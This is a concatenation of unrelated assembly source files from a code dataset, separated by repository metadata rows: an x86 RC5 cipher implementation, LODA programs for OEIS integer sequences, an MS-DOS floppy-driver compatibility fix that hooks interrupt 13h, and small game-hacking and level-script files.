global _RC5_32_encrypt
_RC5_32_encrypt:
;
push ebp
push esi
push edi
mov edx, DWORD [16+esp]
mov ebp, DWORD [20+esp]
; Load the 2 words
mov edi, DWORD [edx]
mov esi, DWORD [4+edx]
push ebx
mov ebx, DWORD [ebp]
add edi, DWORD [4+ebp]
add esi, DWORD [8+ebp]
xor edi, esi
mov eax, DWORD [12+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [16+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
xor edi, esi
mov eax, DWORD [20+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [24+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
xor edi, esi
mov eax, DWORD [28+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [32+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
xor edi, esi
mov eax, DWORD [36+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [40+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
xor edi, esi
mov eax, DWORD [44+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [48+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
xor edi, esi
mov eax, DWORD [52+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [56+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
xor edi, esi
mov eax, DWORD [60+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [64+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
xor edi, esi
mov eax, DWORD [68+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [72+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
cmp ebx, 8
je NEAR @L000rc5_exit
xor edi, esi
mov eax, DWORD [76+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [80+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
xor edi, esi
mov eax, DWORD [84+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [88+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
xor edi, esi
mov eax, DWORD [92+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [96+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
xor edi, esi
mov eax, DWORD [100+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [104+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
cmp ebx, 12
je NEAR @L000rc5_exit
xor edi, esi
mov eax, DWORD [108+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [112+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
xor edi, esi
mov eax, DWORD [116+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [120+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
xor edi, esi
mov eax, DWORD [124+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [128+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
xor edi, esi
mov eax, DWORD [132+ebp]
mov ecx, esi
rol edi, cl
add edi, eax
xor esi, edi
mov eax, DWORD [136+ebp]
mov ecx, edi
rol esi, cl
add esi, eax
@L000rc5_exit:
mov DWORD [edx], edi
mov DWORD [4+edx], esi
pop ebx
pop edi
pop esi
pop ebp
ret
global _RC5_32_decrypt
_RC5_32_decrypt:
;
push ebp
push esi
push edi
mov edx, DWORD [16+esp]
mov ebp, DWORD [20+esp]
; Load the 2 words
mov edi, DWORD [edx]
mov esi, DWORD [4+edx]
push ebx
mov ebx, DWORD [ebp]
cmp ebx, 12
je NEAR @L001rc5_dec_12
cmp ebx, 8
je NEAR @L002rc5_dec_8
mov eax, DWORD [136+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [132+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
mov eax, DWORD [128+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [124+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
mov eax, DWORD [120+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [116+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
mov eax, DWORD [112+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [108+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
@L001rc5_dec_12:
mov eax, DWORD [104+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [100+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
mov eax, DWORD [96+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [92+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
mov eax, DWORD [88+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [84+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
mov eax, DWORD [80+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [76+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
@L002rc5_dec_8:
mov eax, DWORD [72+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [68+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
mov eax, DWORD [64+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [60+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
mov eax, DWORD [56+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [52+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
mov eax, DWORD [48+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [44+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
mov eax, DWORD [40+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [36+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
mov eax, DWORD [32+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [28+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
mov eax, DWORD [24+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [20+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
mov eax, DWORD [16+ebp]
sub esi, eax
mov ecx, edi
ror esi, cl
xor esi, edi
mov eax, DWORD [12+ebp]
sub edi, eax
mov ecx, esi
ror edi, cl
xor edi, esi
sub esi, DWORD [8+ebp]
sub edi, DWORD [4+ebp]
@L003rc5_exit:
mov DWORD [edx], edi
mov DWORD [4+edx], esi
pop ebx
pop edi
pop esi
pop ebp
ret
global _RC5_32_cbc_encrypt
_RC5_32_cbc_encrypt:
;
push ebp
push ebx
push esi
push edi
mov ebp, DWORD [28+esp]
; getting iv ptr from parameter 4
mov ebx, DWORD [36+esp]
mov esi, DWORD [ebx]
mov edi, DWORD [4+ebx]
push edi
push esi
push edi
push esi
mov ebx, esp
mov esi, DWORD [36+esp]
mov edi, DWORD [40+esp]
; getting encrypt flag from parameter 5
mov ecx, DWORD [56+esp]
; get and push parameter 3
mov eax, DWORD [48+esp]
push eax
push ebx
cmp ecx, 0
jz NEAR @L004decrypt
and ebp, 4294967288
mov eax, DWORD [8+esp]
mov ebx, DWORD [12+esp]
jz NEAR @L005encrypt_finish
@L006encrypt_loop:
mov ecx, DWORD [esi]
mov edx, DWORD [4+esi]
xor eax, ecx
xor ebx, edx
mov DWORD [8+esp], eax
mov DWORD [12+esp], ebx
call _RC5_32_encrypt
mov eax, DWORD [8+esp]
mov ebx, DWORD [12+esp]
mov DWORD [edi], eax
mov DWORD [4+edi], ebx
add esi, 8
add edi, 8
sub ebp, 8
jnz NEAR @L006encrypt_loop
@L005encrypt_finish:
mov ebp, DWORD [52+esp]
and ebp, 7
jz NEAR @L007finish
call @L008PIC_point
@L008PIC_point:
pop edx
lea ecx, [(@L009cbc_enc_jmp_table-@L008PIC_point)+edx]
mov ebp, DWORD [ebp*4+ecx]
add ebp, edx
xor ecx, ecx
xor edx, edx
jmp ebp
@L010ej7:
mov dh, BYTE [6+esi]
shl edx, 8
@L011ej6:
mov dh, BYTE [5+esi]
@L012ej5:
mov dl, BYTE [4+esi]
@L013ej4:
mov ecx, DWORD [esi]
jmp @L014ejend
@L015ej3:
mov ch, BYTE [2+esi]
shl ecx, 8
@L016ej2:
mov ch, BYTE [1+esi]
@L017ej1:
mov cl, BYTE [esi]
@L014ejend:
xor eax, ecx
xor ebx, edx
mov DWORD [8+esp], eax
mov DWORD [12+esp], ebx
call _RC5_32_encrypt
mov eax, DWORD [8+esp]
mov ebx, DWORD [12+esp]
mov DWORD [edi], eax
mov DWORD [4+edi], ebx
jmp @L007finish
@L004decrypt:
and ebp, 4294967288
mov eax, DWORD [16+esp]
mov ebx, DWORD [20+esp]
jz NEAR @L018decrypt_finish
@L019decrypt_loop:
mov eax, DWORD [esi]
mov ebx, DWORD [4+esi]
mov DWORD [8+esp], eax
mov DWORD [12+esp], ebx
call _RC5_32_decrypt
mov eax, DWORD [8+esp]
mov ebx, DWORD [12+esp]
mov ecx, DWORD [16+esp]
mov edx, DWORD [20+esp]
xor ecx, eax
xor edx, ebx
mov eax, DWORD [esi]
mov ebx, DWORD [4+esi]
mov DWORD [edi], ecx
mov DWORD [4+edi], edx
mov DWORD [16+esp], eax
mov DWORD [20+esp], ebx
add esi, 8
add edi, 8
sub ebp, 8
jnz NEAR @L019decrypt_loop
@L018decrypt_finish:
mov ebp, DWORD [52+esp]
and ebp, 7
jz NEAR @L007finish
mov eax, DWORD [esi]
mov ebx, DWORD [4+esi]
mov DWORD [8+esp], eax
mov DWORD [12+esp], ebx
call _RC5_32_decrypt
mov eax, DWORD [8+esp]
mov ebx, DWORD [12+esp]
mov ecx, DWORD [16+esp]
mov edx, DWORD [20+esp]
xor ecx, eax
xor edx, ebx
mov eax, DWORD [esi]
mov ebx, DWORD [4+esi]
@L020dj7:
ror edx, 16
mov BYTE [6+edi], dl
shr edx, 16
@L021dj6:
mov BYTE [5+edi], dh
@L022dj5:
mov BYTE [4+edi], dl
@L023dj4:
mov DWORD [edi], ecx
jmp @L024djend
@L025dj3:
ror ecx, 16
mov BYTE [2+edi], cl
shl ecx, 16
@L026dj2:
mov BYTE [1+esi], ch
@L027dj1:
mov BYTE [esi], cl
@L024djend:
jmp @L007finish
@L007finish:
mov ecx, DWORD [60+esp]
add esp, 24
mov DWORD [ecx], eax
mov DWORD [4+ecx], ebx
pop edi
pop esi
pop ebx
pop ebp
ret
align 64
@L009cbc_enc_jmp_table:
DD 0
DD @L017ej1-@L008PIC_point
DD @L016ej2-@L008PIC_point
DD @L015ej3-@L008PIC_point
DD @L013ej4-@L008PIC_point
DD @L012ej5-@L008PIC_point
DD @L011ej6-@L008PIC_point
DD @L010ej7-@L008PIC_point
align 64
| 18.94306 | 65 | 0.600977 |
1e6bfa3b1dc54aa0b325e92c38c4dd6f313f4564 | 489 | asm | Assembly | programs/oeis/227/A227161.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/227/A227161.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/227/A227161.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A227161: Number of n X 2 0,1 arrays indicating 2 X 2 subblocks of some larger (n+1) X 3 binary array having a sum of one or less, with rows and columns of the latter in lexicographically nondecreasing order.
; 1,3,8,18,36,66,113,183,283,421,606,848,1158,1548,2031,2621,3333,4183,5188,6366,7736,9318,11133,13203,15551,18201,21178,24508,28218,32336,36891,41913,47433,53483,60096,67306,75148,83658,92873,102831,113571,125133
add $0,1
bin $0,2
add $0,6
mov $1,$0
bin $1,2
div $1,3
sub $1,4
| 44.454545 | 213 | 0.750511 |
76bb7c5453adf1c1a9a8ee475541cdb30479568d | 543 | asm | Assembly | oeis/017/A017112.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/017/A017112.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/017/A017112.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A017112: a(n) = (8*n+3)^12.
; 531441,3138428376721,2213314919066161,150094635296999121,3379220508056640625,39959630797262576401,309629344375621415601,1779197418239532716881,8182718904632857144561,31676352024078369140625,106890007738661124410161,322475487413604782665681,886384871716129280658801,2252191588960823337718801,5350250105473711181640625,11991163848716906297072721,25542038069936263923006961,52020869037289085480011921,101814121186119595835681841,192300484323376406494140625,351763888007705494736404081
mul $0,8
add $0,3
pow $0,12
| 77.571429 | 483 | 0.904236 |
deee8aae8462b1fec8652ea66389fd60b231905d | 8,984 | asm | Assembly | dev/setmedia/setmedia.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | dev/setmedia/setmedia.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | dev/setmedia/setmedia.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | ;
; Microsoft Confidential
; Copyright (C) Microsoft Corporation 1991
; All Rights Reserved.
;
;
;This device driver will hook onto interrupt 13 if there is a 1.44Meg
;floppy drive in the system. Any call to Set Media Type (function ah=18h)
;with ch=80,cl=09 (720k) on a 1.44Meg drive will be monitored.
;If the real int 13 call fails, the hook code will
;return appropriate return values (including a pointer to a default
;disk parameter table) and set no carry (no error)
;
;
_TEXT segment byte public 'CODE'
assume cs:_TEXT,ds:_TEXT,es:NOTHING
org 0
Header:
dd -1 ;device chain link--filled in by dos
DevAttr dw 0C840h ;character device attribute word
dw Strategy ;Strategy entry point
dw Interrupt ;Interrupt entry point
db '_stmedia' ;logical device name
RHPtr dd ? ;Request Header pointer filled in by
;Strategy routing
Strategy proc far
mov WORD PTR cs:[RHPtr],bx
mov WORD PTR cs:[RHPTR+2],es
ret
Strategy endp
Interrupt proc far
push ds
push es
push di
push bx
push dx
push cs
pop ds
les di,DWORD PTR cs:[RHPtr] ;load Request Header pointer into es:di
mov bl,es:[di+2] ;get command code from RHPtr into bl
or bl,bl ;We only handle command zero (Init)
jnz error_out
;;;Initialize Driver does all driver initialization. It is
;;;located in the transient Code/Data
;;;Returns driver tail in es:di
mov word ptr es:[di+3],0100h ;Completed code passed in packet
call Initialize_Driver
Return_To_Dos:
pop dx
pop bx
pop di
pop es
pop ds
ret
error_out:
mov word ptr es:[di+3],8003h ;bad command code in request header
jmp short Return_To_Dos
Interrupt endp
;;; RESIDENT DATA AREA anything here is not freed after initialization
Int_13_Chain dd ?
MAX_FLOPPY_DRIVES equ 5 ;maximum number of floppys we support
;;; The following is a default drive parameter for a 720k floppy
Parameter_Table_For_720k_Floppy:
Specify1 db 0DFh
Specify2 db 002h
MotorWait db 025h
SecSize db 002h
EOT db 009h
RWGap db 01Bh
DTL db 0FFh
FmtGap db 050h
Fill db 0F6h
HdSettle db 00Fh
MotorStrt db 004h
Res1 db 000h
Res2 db 000h
Floppy_Drive_Info db (MAX_FLOPPY_DRIVES+1) dup (0FFh)
;;;
;;; Int_13_Hook monitors int 13 calls for Set Media Type and
;;; ensures success of that call
;;;
Int_13_Hook proc far
cmp ah,18h ;Set Media Type?
je Catch_Set_Media_Type ;If so, monitor call
Call_Int_13_Chain: ;else
jmp DWORD PTR cs:[Int_13_Chain] ;chain to next handler
Catch_Set_Media_Type:
cmp ch,79 ;Are we setting media
jne Call_Int_13_Chain ;to 720k floppy?
cmp cl,09h
jne Call_Int_13_Chain
test dl,80h ;ensure it is a floppy..
jnz Call_Int_13_Chain
push bx ;See if this is a 1.44M drive
xor bx,bx ;by walking the table we
Check_Next_Table_Info: ;build at startup
cmp cs:Floppy_Drive_Info[bx],dl ;drive in table?
je Is_In_Table ;if so, monitor call
inc bl
cmp bx,MAX_FLOPPY_DRIVES ;don't pass end of table!
jb Check_Next_Table_Info
;;; if we get here, the drive was not in our table
Not_In_Table:
pop bx ;restore stack
jmp short Call_Int_13_Chain ;chain on to handler
Is_In_Table: ;Monitor the call...
pop bx
pushf ;by setting iret frame
call DWORD PTR cs:[Int_13_Chain] ;and calling next handler
jnc CLC_IRET ;don't hack if no error!
Use_Our_Table: ;"real" didn't work, so fake it
xor ah,ah ;set no error
push cs ;set return in es:di
pop es ;to point to valid dp table
mov di,OFFSET cs:Parameter_Table_For_720k_Floppy
CLC_IRET:
push bp ;be sure caller gets no carry
mov bp,sp ;by modifying the flag
and WORD PTR ss:[bp+6],0FFFEh ;on the stack
pop bp ;thanks to bp
iret ;return no carry to caller
Int_13_Hook endp
;
; WARNING! Transient Code/Data begins here
; All code and data after this point
; is freed after initialization call zero
;
SignOn:
; db 0Dh,0Ah
; db 'Int 13 Set Media Type Fix Driver'
; db 0Dh,0Ah,'$'
Initialize_Driver proc near
push es ;save pointer to Request Header
push di ;
;;;Don't put up a sign-on banner, as it just clutters up the screen.
;mov ah,09h ;Print out a the sign on message
;mov dx,offset SignOn
;int 21h
;;;Now we determine what drives need our fix. Return value
;;;in BX is number of drives needing the fix. Zero means
;;;there are no drives that need monitoring, so we don't need to load
call Setup_Floppy_Drive_Info_Table
or bx,bx ; don't load if table is empty
jz Dont_load
;;; If we get here, we do need to monitor some floppy drive
call Hook_ISR_13 ;Hook int 13 interrrupt routine
pop di ;restore Request Header pointer
pop es ;into es:di
mov WORD PTR es:[di+0Eh],offset SignOn ;resident up to Signon
mov WORD PTR es:[di+10h],cs ;the rest is free'd
xor ax,ax ;return no error
jmp short return_resident_init
Dont_Load:
;;; If we get here, we don't need to load at all
pop di ;restore Request Header pointer
pop es
mov WORD PTR es:[di+0Eh],offset Header ;return pointer to header
mov WORD PTR es:[di+10h],cs ;to indicate don't load
mov ax,7FFFh ;also clear high bit
and WORD PTR cs:DevAttr,ax ;of attribute word
;so next driver will load
;on top of us
xor ax,ax ;return no error
return_resident_init:
ret
Initialize_Driver endp
;;; Returns zero in BX if table is empty
;;;
Setup_Floppy_Drive_Info_Table proc near
push es ;save necessary but smashed registers
push bp
push di
push si
push cx
xor dx,dx ;dx is drive id starting at zero
mov bx,dx ;bx is table index starting at zero
Check_Next_Floppy_Id:
mov bp,bx ;save off table index into bp
mov si,dx ;save off current drive id into si
mov ah,08h ;Get Drive Parameters
int 13h ;
jc Not_A_144MFloppy_Drive
;;; Mohanraj says don't trust bl return,check actual size
; cmp bl,04h
cmp cx,4f12h
jne Not_A_144MFloppy_Drive
mov bx,bp ;restore table index
mov dx,si ;restore drive id
mov BYTE PTR Floppy_Drive_Info[bx],dl ; save drive id in table
inc bx ;set up for next table index
cmp dl,7Fh ;7F is last possible floppy drive id
jae Done_Setting_Up
inc dl ;set up for next drive id
cmp bx,MAX_FLOPPY_DRIVES ;don't go past the end of the table!
jae Done_Setting_Up
jmp short Check_Next_Floppy_Id
Not_A_144MFloppy_drive:
mov bx,bp ;restore table index
mov dx,si ;restore drive id
cmp dl,7Fh ;7F is last floppy id, dont go further!
jae Done_Setting_Up
inc dl
jmp short Check_Next_Floppy_Id
Done_Setting_Up:
pop cx ;restore registers we smashed
pop si
pop di
pop bp
pop es
ret
Setup_Floppy_Drive_Info_Table endp
Hook_ISR_13 proc near
push es
push di
mov ax,3513h ; save interrupt 13 vector
int 21h ; returns in es:bx
mov WORD PTR cs:Int_13_Chain,bx
mov ax,es
mov WORD PTR cs:Int_13_Chain[2],ax
mov dx,offset Int_13_Hook ;patch interrupt 13 vector with
mov ax,2513h ;our own routine
;assumes ds already holds code segment
int 21h
pop di
pop es
ret
Hook_ISR_13 endp
_TEXT ends
end
| 29.650165 | 94 | 0.564448 |
af7cb159857465e7556840349cc1c55250f7d19d | 240 | asm | Assembly | Entrega 2/Program2.asm | gustavogarciautp/Procesador | 9cfcfb963f0b03baa4ba09e0091370a24b997dac | [
"MIT"
] | null | null | null | Entrega 2/Program2.asm | gustavogarciautp/Procesador | 9cfcfb963f0b03baa4ba09e0091370a24b997dac | [
"MIT"
] | null | null | null | Entrega 2/Program2.asm | gustavogarciautp/Procesador | 9cfcfb963f0b03baa4ba09e0091370a24b997dac | [
"MIT"
] | null | null | null | main:
mov 5,%g1
mov -8,%l0
mov 4,%l1
sll %g1,2,%i0
srl %l1,1,%i1
restore %g0,0,%g0 --> Cambio de ventana a la 1
add %g1,3,%l0
save %g0,0,%g0 --> retorno a la ventana 0
subcc %g0,4,%g0
addx %g0,%g1, %g2
mov %l0, %o0
| 17.142857 | 48 | 0.545833 |
e98698607c5a57c7508a184e3494f526d8f7e3a6 | 247 | asm | Assembly | ffight/lcs/enemy/82.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 6 | 2020-10-14T15:29:10.000Z | 2022-02-12T18:58:54.000Z | ffight/lcs/enemy/82.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | null | null | null | ffight/lcs/enemy/82.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 1 | 2020-12-17T08:59:10.000Z | 2020-12-17T08:59:10.000Z | copyright zengfr site:http://github.com/zengfr/romhack
009ACA dbra D5, $9ac8
038AF0 bsr $3a900 [enemy+82]
03A4B4 bsr $3a8ba [enemy+82]
03A7A4 move.b D3, ($88,A6) [enemy+82]
copyright zengfr site:http://github.com/zengfr/romhack
| 27.444444 | 54 | 0.696356 |
099fe6c570dc45c4100f932233f324a156e77efe | 1,633 | asm | Assembly | Source/Levels/L0703.asm | AbePralle/FGB | 52f004b8d9d4091a2a242a012dc8c1f90d4c160d | [
"MIT"
] | null | null | null | Source/Levels/L0703.asm | AbePralle/FGB | 52f004b8d9d4091a2a242a012dc8c1f90d4c160d | [
"MIT"
] | null | null | null | Source/Levels/L0703.asm | AbePralle/FGB | 52f004b8d9d4091a2a242a012dc8c1f90d4c160d | [
"MIT"
] | null | null | null | ; L0703.asm
; Generated 10.29.2000 by mlevel
; Modified 10.29.2000 by Abe Pralle
INCLUDE "Source/Defs.inc"
INCLUDE "Source/Levels.inc"
;---------------------------------------------------------------------
SECTION "Level0703Section",ROMX
;---------------------------------------------------------------------
L0703_Contents::
DW L0703_Load
DW L0703_Init
DW L0703_Check
DW L0703_Map
;---------------------------------------------------------------------
; Load
;---------------------------------------------------------------------
L0703_Load:
DW ((L0703_LoadFinished - L0703_Load2)) ;size
L0703_Load2:
call ParseMap
ret
L0703_LoadFinished:
;---------------------------------------------------------------------
; Map
;---------------------------------------------------------------------
L0703_Map:
INCBIN "Data/Levels/L0703_caverns.lvl"
;---------------------------------------------------------------------
; Init
;---------------------------------------------------------------------
L0703_Init:
DW ((L0703_InitFinished - L0703_Init2)) ;size
L0703_Init2:
ret
L0703_InitFinished:
;---------------------------------------------------------------------
; Check
;---------------------------------------------------------------------
L0703_Check:
DW ((L0703_CheckFinished - L0703_Check2)) ;size
L0703_Check2:
ret
L0703_CheckFinished:
PRINT "0703 Script Sizes (Load/Init/Check) (of $500): "
PRINT (L0703_LoadFinished - L0703_Load2)
PRINT " / "
PRINT (L0703_InitFinished - L0703_Init2)
PRINT " / "
PRINT (L0703_CheckFinished - L0703_Check2)
PRINT "\n"
| 27.216667 | 70 | 0.40049 |
9ed34f976548590ad299e57e202c304ef3a42c9d | 224 | asm | Assembly | libsrc/_DEVELOPMENT/stdio/c/sdcc_iy/fflush_unlocked.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/stdio/c/sdcc_iy/fflush_unlocked.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/stdio/c/sdcc_iy/fflush_unlocked.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; int fflush_unlocked(FILE *stream)
SECTION code_clib
SECTION code_stdio
PUBLIC _fflush_unlocked
EXTERN asm_fflush_unlocked
_fflush_unlocked:
pop af
pop ix
push hl
push af
jp asm_fflush_unlocked
| 11.2 | 35 | 0.745536 |
699ed1dda6e13423363b06664d075ba366a27f34 | 442 | asm | Assembly | WEEK-6/1.asm | ShruKin/Microprocessor-and-Microcontroller-Lab | 279c1432f0dee01fae37dc8fcb1dcb798e5725d8 | [
"MIT"
] | null | null | null | WEEK-6/1.asm | ShruKin/Microprocessor-and-Microcontroller-Lab | 279c1432f0dee01fae37dc8fcb1dcb798e5725d8 | [
"MIT"
] | null | null | null | WEEK-6/1.asm | ShruKin/Microprocessor-and-Microcontroller-Lab | 279c1432f0dee01fae37dc8fcb1dcb798e5725d8 | [
"MIT"
] | null | null | null | LXI SP,9FFF // as we'll use subroutine
LDA 9050
MOV B,A
ANI 0F // mask upper nibble
CALL ASCII // get ASCII for lower nibble
STA 9051
MOV A,B
ANI F0 // mask the lower nibble
RLC // rotate 4 times to get the upper nibble in lower nibble part
RLC
RLC
RLC
CALL ASCII // get ASCII for actual upper nibble
STA 9052
HLT
ASCII: CPI 0A
JC ALPHA
ADI 07
ALPHA: ADI 30
RET
| 19.217391 | 70 | 0.606335 |
74e17fc3a5c01bc44b24b156ccd6804e537148b1 | 529 | asm | Assembly | programs/oeis/176/A176203.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/176/A176203.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/176/A176203.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A176203: Triangle read by rows: T(n, k) = 16*binomial(n, k) - 15.
; 1,1,1,1,17,1,1,33,33,1,1,49,81,49,1,1,65,145,145,65,1,1,81,225,305,225,81,1,1,97,321,545,545,321,97,1,1,113,433,881,1105,881,433,113,1,1,129,561,1329,2001,2001,1329,561,129,1,1,145,705,1905,3345,4017,3345,1905,705,145,1,1,161,865,2625,5265,7377,7377,5265,2625,865,161,1,1,177,1041,3505,7905,12657,14769,12657,7905,3505,1041,177,1,1,193,1233,4561,11425,20577,27441,27441,20577
lpb $0
add $1,1
sub $0,$1
lpe
bin $1,$0
sub $1,1
mul $1,16
add $1,1
mov $0,$1
| 40.692308 | 377 | 0.68242 |
334950c67d677cc648b0225f1270758fdf97c909 | 651 | asm | Assembly | oeis/111/A111002.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/111/A111002.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/111/A111002.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A111002: a(n) = gcd(f(n), f(n+1)) where f(n) = n^4 + n^2 + 1.
; Submitted by Christian Krause
